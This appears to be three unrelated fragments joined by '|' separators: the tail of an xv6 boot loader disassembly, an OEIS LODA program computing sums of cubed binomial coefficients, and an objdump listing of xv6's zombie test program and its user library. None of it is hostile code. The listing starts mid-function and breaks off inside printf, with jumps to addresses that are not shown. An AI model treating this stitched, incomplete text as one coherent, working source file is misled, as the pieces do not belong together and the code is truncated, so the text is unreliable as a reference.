7d37: 5e pop %esi
7d38: 5f pop %edi
7d39: 5d pop %ebp
7d3a: c3 ret
00007d3b <bootmain>:
{
7d3b: 55 push %ebp
7d3c: 89 e5 mov %esp,%ebp
7d3e: 57 push %edi
7d3f: 56 push %esi
7d40: 53 push %ebx
7d41: 83 ec 0c sub $0xc,%esp
readseg((uchar*)elf, 4096, 0);
7d44: 6a 00 push $0x0
7d46: 68 00 10 00 00 push $0x1000
7d4b: 68 00 00 01 00 push $0x10000
7d50: e8 a3 ff ff ff call 7cf8 <readseg>
if(elf->magic != ELF_MAGIC)
7d55: 83 c4 0c add $0xc,%esp
7d58: 81 3d 00 00 01 00 7f cmpl $0x464c457f,0x10000
7d5f: 45 4c 46
7d62: 74 08 je 7d6c <bootmain+0x31>
}
7d64: 8d 65 f4 lea -0xc(%ebp),%esp
7d67: 5b pop %ebx
7d68: 5e pop %esi
7d69: 5f pop %edi
7d6a: 5d pop %ebp
7d6b: c3 ret
ph = (struct proghdr*)((uchar*)elf + elf->phoff);
7d6c: a1 1c 00 01 00 mov 0x1001c,%eax
7d71: 8d 98 00 00 01 00 lea 0x10000(%eax),%ebx
eph = ph + elf->phnum;
7d77: 0f b7 35 2c 00 01 00 movzwl 0x1002c,%esi
7d7e: c1 e6 05 shl $0x5,%esi
7d81: 01 de add %ebx,%esi
for(; ph < eph; ph++){
7d83: 39 f3 cmp %esi,%ebx
7d85: 72 0f jb 7d96 <bootmain+0x5b>
entry();
7d87: ff 15 18 00 01 00 call *0x10018
7d8d: eb d5 jmp 7d64 <bootmain+0x29>
for(; ph < eph; ph++){
7d8f: 83 c3 20 add $0x20,%ebx
7d92: 39 de cmp %ebx,%esi
7d94: 76 f1 jbe 7d87 <bootmain+0x4c>
pa = (uchar*)ph->paddr;
7d96: 8b 7b 0c mov 0xc(%ebx),%edi
readseg(pa, ph->filesz, ph->off);
7d99: ff 73 04 pushl 0x4(%ebx)
7d9c: ff 73 10 pushl 0x10(%ebx)
7d9f: 57 push %edi
7da0: e8 53 ff ff ff call 7cf8 <readseg>
if(ph->memsz > ph->filesz)
7da5: 8b 4b 14 mov 0x14(%ebx),%ecx
7da8: 8b 43 10 mov 0x10(%ebx),%eax
7dab: 83 c4 0c add $0xc,%esp
7dae: 39 c1 cmp %eax,%ecx
7db0: 76 dd jbe 7d8f <bootmain+0x54>
stosb(pa + ph->filesz, 0, ph->memsz - ph->filesz);
7db2: 01 c7 add %eax,%edi
7db4: 29 c1 sub %eax,%ecx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
7db6: b8 00 00 00 00 mov $0x0,%eax
7dbb: fc cld
7dbc: f3 aa rep stos %al,%es:(%edi)
7dbe: eb cf jmp 7d8f <bootmain+0x54>
|
; A085438: a(n) = Sum_{i=1..n} binomial(i+1,2)^3.
; 1,28,244,1244,4619,13880,35832,82488,173613,339988,627484,1102036,1855607,3013232,4741232,7256688,10838265,15838476,22697476,31958476,44284867,60479144,81503720,108503720,142831845,186075396,240085548,307008964,389321839,489866464,611890400,759088352,935646833,1146291708,1396338708,1691747004,2039175931,2446044952,2920596952,3471964952,4110242333,4846556660,5693147196,6663446196,7772164071,9035378512,10470627664,12097007440,13935273065,16007944940,18339418916,20956081068,23886427059,27161186184,30813450184,34878806920,39395478997,44404467428,49949700428,56078187428,62840178399,70289328576,78482868672,87481780672,97350979297,108159499228,119980688180,132892405916,146977229291,162322663416,179021359032,197171336184,216876214285,238245448660,261394573660,286445452436,313526533463,342773113904,374327609904,408339833904,444967279065,484375410892,526737966148,572237259148,621064495523,673420093544,729514013096,789566092392,853806392517,922475549892,995825136748,1074118029700,1157628786511,1246644031136,1341462847136,1442397179552,1549772245329,1663926952380,1785214327380,1914001952380,2050672410331,2195623739608,2349269897624,2512041233624,2684384970749,2866765697460,3059665868412,3263586314868,3479046764743,3706586372368,3946764258064,4200160057616,4467374481737,4749029885612,5045770848612,5358264764268,5687202440595,6033298710856,6397293054856,6779950230856,7182060918197,7604442370724,8047939081100,8513423456100,9001796502975,9513988526976,10050959840128,10613701481344,11203235947969,11820617938844,12466935108980,13143308835932,13850894997963,14590884764088,15364505396088,16173021062584,17017733665261,17899983677332,18821150994332,19782655797332,20785959428663,21832565280240,22924019694576,24061912878576,25247879830201,26483601278092,27770804634244,29111264959820,30506805944195,31959300897320,33470673755496,35042900100648,36678008193189,38378080018564,40145252347564,41981717810500,43889725985327,45871584499808,47929660147808,50066380019808,52284232647729,54585769164156,56973604476052,59450418453052,62018957130427,64682033926808,67442530876760,70303399878296,73267663955421,76338418535796,79518832743612,82812150707764,86221692885415,89750857401040,93403121401040,97182042424016,101091259786793,105134495986284,109315558117284,113638339306284,118106820161395,122725070238472,127497249523528,132427609931528,137520496821653,142780350529124,148211707913676,153819203924772,159607573183647,165581651582272,171746377899328,178106795433280,184668053652641,191435409863516,198414230894516,205609994799132,213028292575659,220674829904760,228555428904760,236676029904760,245042693235661,253661601039188,262539059095004,271681498666004,281095478361879,290787686021040,300764940610992,311034194147248,321602533630873,332477183004748,343665505128644,355175003773196,367013325632867,379188262357992,391707752605992,404579884111848,417812895777925,431415179783236,445395283712236,459761912703236,474523931616527,489690367222304,505270410408480,521273418408480,537708917049105,554586603018556,571916346154708,589708191753724,607972362899099,626719262811224,645959477217560,665703776743512,685963119324093,706748652636468,728071716553468,749943845618164,772376771539591,795382425709712,818972941741712,843160658029712,867958120329993,893378084363820,919433518441956,946137606110956,973503748821331,1001545568617672,1030276910850824,1059711846912200,1089864676990325,1120749932849700
mov $1,14
lpb $0,1
mov $2,$0
cal $2,59827 ; Cubes of triangular numbers: (n*(n+1)/2)^3.
sub $0,1
add $1,$2
lpe
sub $1,13
|
_zombie: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
if(fork() > 0)
11: e8 64 02 00 00 call 27a <fork>
16: 85 c0 test %eax,%eax
18: 7e 0d jle 27 <main+0x27>
sleep(5); // Let child exit before parent.
1a: 83 ec 0c sub $0xc,%esp
1d: 6a 05 push $0x5
1f: e8 ee 02 00 00 call 312 <sleep>
24: 83 c4 10 add $0x10,%esp
exit();
27: e8 56 02 00 00 call 282 <exit>
2c: 66 90 xchg %ax,%ax
2e: 66 90 xchg %ax,%ax
00000030 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
30: 55 push %ebp
31: 89 e5 mov %esp,%ebp
33: 53 push %ebx
34: 8b 45 08 mov 0x8(%ebp),%eax
37: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
3a: 89 c2 mov %eax,%edx
3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
40: 83 c1 01 add $0x1,%ecx
43: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
47: 83 c2 01 add $0x1,%edx
4a: 84 db test %bl,%bl
4c: 88 5a ff mov %bl,-0x1(%edx)
4f: 75 ef jne 40 <strcpy+0x10>
;
return os;
}
51: 5b pop %ebx
52: 5d pop %ebp
53: c3 ret
54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000060 <strcmp>:
int
strcmp(const char *p, const char *q)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 55 08 mov 0x8(%ebp),%edx
67: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
6a: 0f b6 02 movzbl (%edx),%eax
6d: 0f b6 19 movzbl (%ecx),%ebx
70: 84 c0 test %al,%al
72: 75 1c jne 90 <strcmp+0x30>
74: eb 2a jmp a0 <strcmp+0x40>
76: 8d 76 00 lea 0x0(%esi),%esi
79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
80: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
83: 0f b6 02 movzbl (%edx),%eax
p++, q++;
86: 83 c1 01 add $0x1,%ecx
89: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
8c: 84 c0 test %al,%al
8e: 74 10 je a0 <strcmp+0x40>
90: 38 d8 cmp %bl,%al
92: 74 ec je 80 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
94: 29 d8 sub %ebx,%eax
}
96: 5b pop %ebx
97: 5d pop %ebp
98: c3 ret
99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
a2: 29 d8 sub %ebx,%eax
}
a4: 5b pop %ebx
a5: 5d pop %ebp
a6: c3 ret
a7: 89 f6 mov %esi,%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000b0 <strlen>:
uint
strlen(const char *s)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
b6: 80 39 00 cmpb $0x0,(%ecx)
b9: 74 15 je d0 <strlen+0x20>
bb: 31 d2 xor %edx,%edx
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 83 c2 01 add $0x1,%edx
c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
c7: 89 d0 mov %edx,%eax
c9: 75 f5 jne c0 <strlen+0x10>
;
return n;
}
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
d0: 31 c0 xor %eax,%eax
}
d2: 5d pop %ebp
d3: c3 ret
d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
e7: 8b 4d 10 mov 0x10(%ebp),%ecx
ea: 8b 45 0c mov 0xc(%ebp),%eax
ed: 89 d7 mov %edx,%edi
ef: fc cld
f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
f2: 89 d0 mov %edx,%eax
f4: 5f pop %edi
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strchr>:
char*
strchr(const char *s, char c)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 53 push %ebx
104: 8b 45 08 mov 0x8(%ebp),%eax
107: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
10a: 0f b6 10 movzbl (%eax),%edx
10d: 84 d2 test %dl,%dl
10f: 74 1d je 12e <strchr+0x2e>
if(*s == c)
111: 38 d3 cmp %dl,%bl
113: 89 d9 mov %ebx,%ecx
115: 75 0d jne 124 <strchr+0x24>
117: eb 17 jmp 130 <strchr+0x30>
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
120: 38 ca cmp %cl,%dl
122: 74 0c je 130 <strchr+0x30>
for(; *s; s++)
124: 83 c0 01 add $0x1,%eax
127: 0f b6 10 movzbl (%eax),%edx
12a: 84 d2 test %dl,%dl
12c: 75 f2 jne 120 <strchr+0x20>
return (char*)s;
return 0;
12e: 31 c0 xor %eax,%eax
}
130: 5b pop %ebx
131: 5d pop %ebp
132: c3 ret
133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <gets>:
char*
gets(char *buf, int max)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 57 push %edi
144: 56 push %esi
145: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
146: 31 f6 xor %esi,%esi
148: 89 f3 mov %esi,%ebx
{
14a: 83 ec 1c sub $0x1c,%esp
14d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
150: eb 2f jmp 181 <gets+0x41>
152: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
158: 8d 45 e7 lea -0x19(%ebp),%eax
15b: 83 ec 04 sub $0x4,%esp
15e: 6a 01 push $0x1
160: 50 push %eax
161: 6a 00 push $0x0
163: e8 32 01 00 00 call 29a <read>
if(cc < 1)
168: 83 c4 10 add $0x10,%esp
16b: 85 c0 test %eax,%eax
16d: 7e 1c jle 18b <gets+0x4b>
break;
buf[i++] = c;
16f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
173: 83 c7 01 add $0x1,%edi
176: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
179: 3c 0a cmp $0xa,%al
17b: 74 23 je 1a0 <gets+0x60>
17d: 3c 0d cmp $0xd,%al
17f: 74 1f je 1a0 <gets+0x60>
for(i=0; i+1 < max; ){
181: 83 c3 01 add $0x1,%ebx
184: 3b 5d 0c cmp 0xc(%ebp),%ebx
187: 89 fe mov %edi,%esi
189: 7c cd jl 158 <gets+0x18>
18b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
18d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
190: c6 03 00 movb $0x0,(%ebx)
}
193: 8d 65 f4 lea -0xc(%ebp),%esp
196: 5b pop %ebx
197: 5e pop %esi
198: 5f pop %edi
199: 5d pop %ebp
19a: c3 ret
19b: 90 nop
19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a0: 8b 75 08 mov 0x8(%ebp),%esi
1a3: 8b 45 08 mov 0x8(%ebp),%eax
1a6: 01 de add %ebx,%esi
1a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1aa: c6 03 00 movb $0x0,(%ebx)
}
1ad: 8d 65 f4 lea -0xc(%ebp),%esp
1b0: 5b pop %ebx
1b1: 5e pop %esi
1b2: 5f pop %edi
1b3: 5d pop %ebp
1b4: c3 ret
1b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <stat>:
int
stat(const char *n, struct stat *st)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 56 push %esi
1c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c5: 83 ec 08 sub $0x8,%esp
1c8: 6a 00 push $0x0
1ca: ff 75 08 pushl 0x8(%ebp)
1cd: e8 f0 00 00 00 call 2c2 <open>
if(fd < 0)
1d2: 83 c4 10 add $0x10,%esp
1d5: 85 c0 test %eax,%eax
1d7: 78 27 js 200 <stat+0x40>
return -1;
r = fstat(fd, st);
1d9: 83 ec 08 sub $0x8,%esp
1dc: ff 75 0c pushl 0xc(%ebp)
1df: 89 c3 mov %eax,%ebx
1e1: 50 push %eax
1e2: e8 f3 00 00 00 call 2da <fstat>
close(fd);
1e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1ea: 89 c6 mov %eax,%esi
close(fd);
1ec: e8 b9 00 00 00 call 2aa <close>
return r;
1f1: 83 c4 10 add $0x10,%esp
}
1f4: 8d 65 f8 lea -0x8(%ebp),%esp
1f7: 89 f0 mov %esi,%eax
1f9: 5b pop %ebx
1fa: 5e pop %esi
1fb: 5d pop %ebp
1fc: c3 ret
1fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
200: be ff ff ff ff mov $0xffffffff,%esi
205: eb ed jmp 1f4 <stat+0x34>
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <atoi>:
int
atoi(const char *s)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
217: 0f be 11 movsbl (%ecx),%edx
21a: 8d 42 d0 lea -0x30(%edx),%eax
21d: 3c 09 cmp $0x9,%al
n = 0;
21f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
224: 77 1f ja 245 <atoi+0x35>
226: 8d 76 00 lea 0x0(%esi),%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
230: 8d 04 80 lea (%eax,%eax,4),%eax
233: 83 c1 01 add $0x1,%ecx
236: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
23a: 0f be 11 movsbl (%ecx),%edx
23d: 8d 5a d0 lea -0x30(%edx),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
return n;
}
245: 5b pop %ebx
246: 5d pop %ebp
247: c3 ret
248: 90 nop
249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000250 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 56 push %esi
254: 53 push %ebx
255: 8b 5d 10 mov 0x10(%ebp),%ebx
258: 8b 45 08 mov 0x8(%ebp),%eax
25b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
25e: 85 db test %ebx,%ebx
260: 7e 14 jle 276 <memmove+0x26>
262: 31 d2 xor %edx,%edx
264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
268: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
26c: 88 0c 10 mov %cl,(%eax,%edx,1)
26f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
272: 39 d3 cmp %edx,%ebx
274: 75 f2 jne 268 <memmove+0x18>
return vdst;
}
276: 5b pop %ebx
277: 5e pop %esi
278: 5d pop %ebp
279: c3 ret
0000027a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27a: b8 01 00 00 00 mov $0x1,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <exit>:
SYSCALL(exit)
282: b8 02 00 00 00 mov $0x2,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <wait>:
SYSCALL(wait)
28a: b8 03 00 00 00 mov $0x3,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <pipe>:
SYSCALL(pipe)
292: b8 04 00 00 00 mov $0x4,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <read>:
SYSCALL(read)
29a: b8 05 00 00 00 mov $0x5,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <write>:
SYSCALL(write)
2a2: b8 10 00 00 00 mov $0x10,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <close>:
SYSCALL(close)
2aa: b8 15 00 00 00 mov $0x15,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <kill>:
SYSCALL(kill)
2b2: b8 06 00 00 00 mov $0x6,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <exec>:
SYSCALL(exec)
2ba: b8 07 00 00 00 mov $0x7,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <open>:
SYSCALL(open)
2c2: b8 0f 00 00 00 mov $0xf,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <mknod>:
SYSCALL(mknod)
2ca: b8 11 00 00 00 mov $0x11,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <unlink>:
SYSCALL(unlink)
2d2: b8 12 00 00 00 mov $0x12,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <fstat>:
SYSCALL(fstat)
2da: b8 08 00 00 00 mov $0x8,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <link>:
SYSCALL(link)
2e2: b8 13 00 00 00 mov $0x13,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mkdir>:
SYSCALL(mkdir)
2ea: b8 14 00 00 00 mov $0x14,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <chdir>:
SYSCALL(chdir)
2f2: b8 09 00 00 00 mov $0x9,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <dup>:
SYSCALL(dup)
2fa: b8 0a 00 00 00 mov $0xa,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <getpid>:
SYSCALL(getpid)
302: b8 0b 00 00 00 mov $0xb,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <sbrk>:
SYSCALL(sbrk)
30a: b8 0c 00 00 00 mov $0xc,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <sleep>:
SYSCALL(sleep)
312: b8 0d 00 00 00 mov $0xd,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <uptime>:
SYSCALL(uptime)
31a: b8 0e 00 00 00 mov $0xe,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <waitx>:
SYSCALL(waitx)
322: b8 16 00 00 00 mov $0x16,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <getpinfo>:
SYSCALL(getpinfo)
32a: b8 17 00 00 00 mov $0x17,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <ps>:
SYSCALL(ps)
332: b8 18 00 00 00 mov $0x18,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <set_priority>:
SYSCALL(set_priority)
33a: b8 19 00 00 00 mov $0x19,%eax
33f: cd 40 int $0x40
341: c3 ret
342: 66 90 xchg %ax,%ax
344: 66 90 xchg %ax,%ax
346: 66 90 xchg %ax,%ax
348: 66 90 xchg %ax,%ax
34a: 66 90 xchg %ax,%ax
34c: 66 90 xchg %ax,%ax
34e: 66 90 xchg %ax,%ax
00000350 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 57 push %edi
354: 56 push %esi
355: 53 push %ebx
356: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
359: 85 d2 test %edx,%edx
{
35b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
35e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
360: 79 76 jns 3d8 <printint+0x88>
362: f6 45 08 01 testb $0x1,0x8(%ebp)
366: 74 70 je 3d8 <printint+0x88>
x = -xx;
368: f7 d8 neg %eax
neg = 1;
36a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
371: 31 f6 xor %esi,%esi
373: 8d 5d d7 lea -0x29(%ebp),%ebx
376: eb 0a jmp 382 <printint+0x32>
378: 90 nop
379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
380: 89 fe mov %edi,%esi
382: 31 d2 xor %edx,%edx
384: 8d 7e 01 lea 0x1(%esi),%edi
387: f7 f1 div %ecx
389: 0f b6 92 50 07 00 00 movzbl 0x750(%edx),%edx
}while((x /= base) != 0);
390: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
392: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
395: 75 e9 jne 380 <printint+0x30>
if(neg)
397: 8b 45 c4 mov -0x3c(%ebp),%eax
39a: 85 c0 test %eax,%eax
39c: 74 08 je 3a6 <printint+0x56>
buf[i++] = '-';
39e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3a3: 8d 7e 02 lea 0x2(%esi),%edi
3a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3aa: 8b 7d c0 mov -0x40(%ebp),%edi
3ad: 8d 76 00 lea 0x0(%esi),%esi
3b0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3b3: 83 ec 04 sub $0x4,%esp
3b6: 83 ee 01 sub $0x1,%esi
3b9: 6a 01 push $0x1
3bb: 53 push %ebx
3bc: 57 push %edi
3bd: 88 45 d7 mov %al,-0x29(%ebp)
3c0: e8 dd fe ff ff call 2a2 <write>
while(--i >= 0)
3c5: 83 c4 10 add $0x10,%esp
3c8: 39 de cmp %ebx,%esi
3ca: 75 e4 jne 3b0 <printint+0x60>
putc(fd, buf[i]);
}
3cc: 8d 65 f4 lea -0xc(%ebp),%esp
3cf: 5b pop %ebx
3d0: 5e pop %esi
3d1: 5f pop %edi
3d2: 5d pop %ebp
3d3: c3 ret
3d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3df: eb 90 jmp 371 <printint+0x21>
3e1: eb 0d jmp 3f0 <printf>
3e3: 90 nop
3e4: 90 nop
3e5: 90 nop
3e6: 90 nop
3e7: 90 nop
3e8: 90 nop
3e9: 90 nop
3ea: 90 nop
3eb: 90 nop
3ec: 90 nop
3ed: 90 nop
3ee: 90 nop
3ef: 90 nop
000003f0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
3f4: 56 push %esi
3f5: 53 push %ebx
3f6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3f9: 8b 75 0c mov 0xc(%ebp),%esi
3fc: 0f b6 1e movzbl (%esi),%ebx
3ff: 84 db test %bl,%bl
401: 0f 84 b3 00 00 00 je 4ba <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
407: 8d 45 10 lea 0x10(%ebp),%eax
40a: 83 c6 01 add $0x1,%esi
state = 0;
40d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
40f: 89 45 d4 mov %eax,-0x2c(%ebp)
412: eb 2f jmp 443 <printf+0x53>
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
418: 83 f8 25 cmp $0x25,%eax
41b: 0f 84 a7 00 00 00 je 4c8 <printf+0xd8>
write(fd, &c, 1);
421: 8d 45 e2 lea -0x1e(%ebp),%eax
424: 83 ec 04 sub $0x4,%esp
427: 88 5d e2 mov %bl,-0x1e(%ebp)
42a: 6a 01 push $0x1
42c: 50 push %eax
42d: ff 75 08 pushl 0x8(%ebp)
430: e8 6d fe ff ff call 2a2 <write>
435: 83 c4 10 add $0x10,%esp
438: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
43b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
43f: 84 db test %bl,%bl
441: 74 77 je 4ba <printf+0xca>
if(state == 0){
443: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
445: 0f be cb movsbl %bl,%ecx
448: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
44b: 74 cb je 418 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
44d: 83 ff 25 cmp $0x25,%edi
450: 75 e6 jne 438 <printf+0x48>
if(c == 'd'){
452: 83 f8 64 cmp $0x64,%eax
455: 0f 84 05 01 00 00 je 560 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
45b: 81 e1 f7 00 00 00 and $0xf7,%ecx
461: 83 f9 70 cmp $0x70,%ecx
464: 74 72 je 4d8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
466: 83 f8 73 cmp $0x73,%eax
469: 0f 84 99 00 00 00 je 508 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
46f: 83 f8 63 cmp $0x63,%eax
472: 0f 84 08 01 00 00 je 580 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
478: 83 f8 25 cmp $0x25,%eax
47b: 0f 84 ef 00 00 00 je 570 <printf+0x180>
write(fd, &c, 1);
481: 8d 45 e7 lea -0x19(%ebp),%eax
484: 83 ec 04 sub $0x4,%esp
487: c6 45 e7 25 movb $0x25,-0x19(%ebp)
48b: 6a 01 push $0x1
48d: 50 push %eax
48e: ff 75 08 pushl 0x8(%ebp)
491: e8 0c fe ff ff call 2a2 <write>
496: 83 c4 0c add $0xc,%esp
499: 8d 45 e6 lea -0x1a(%ebp),%eax
49c: 88 5d e6 mov %bl,-0x1a(%ebp)
49f: 6a 01 push $0x1
4a1: 50 push %eax
4a2: ff 75 08 pushl 0x8(%ebp)
4a5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4a8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4aa: e8 f3 fd ff ff call 2a2 <write>
for(i = 0; fmt[i]; i++){
4af: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4b3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4b6: 84 db test %bl,%bl
4b8: 75 89 jne 443 <printf+0x53>
}
}
}
4ba: 8d 65 f4 lea -0xc(%ebp),%esp
4bd: 5b pop %ebx
4be: 5e pop %esi
4bf: 5f pop %edi
4c0: 5d pop %ebp
4c1: c3 ret
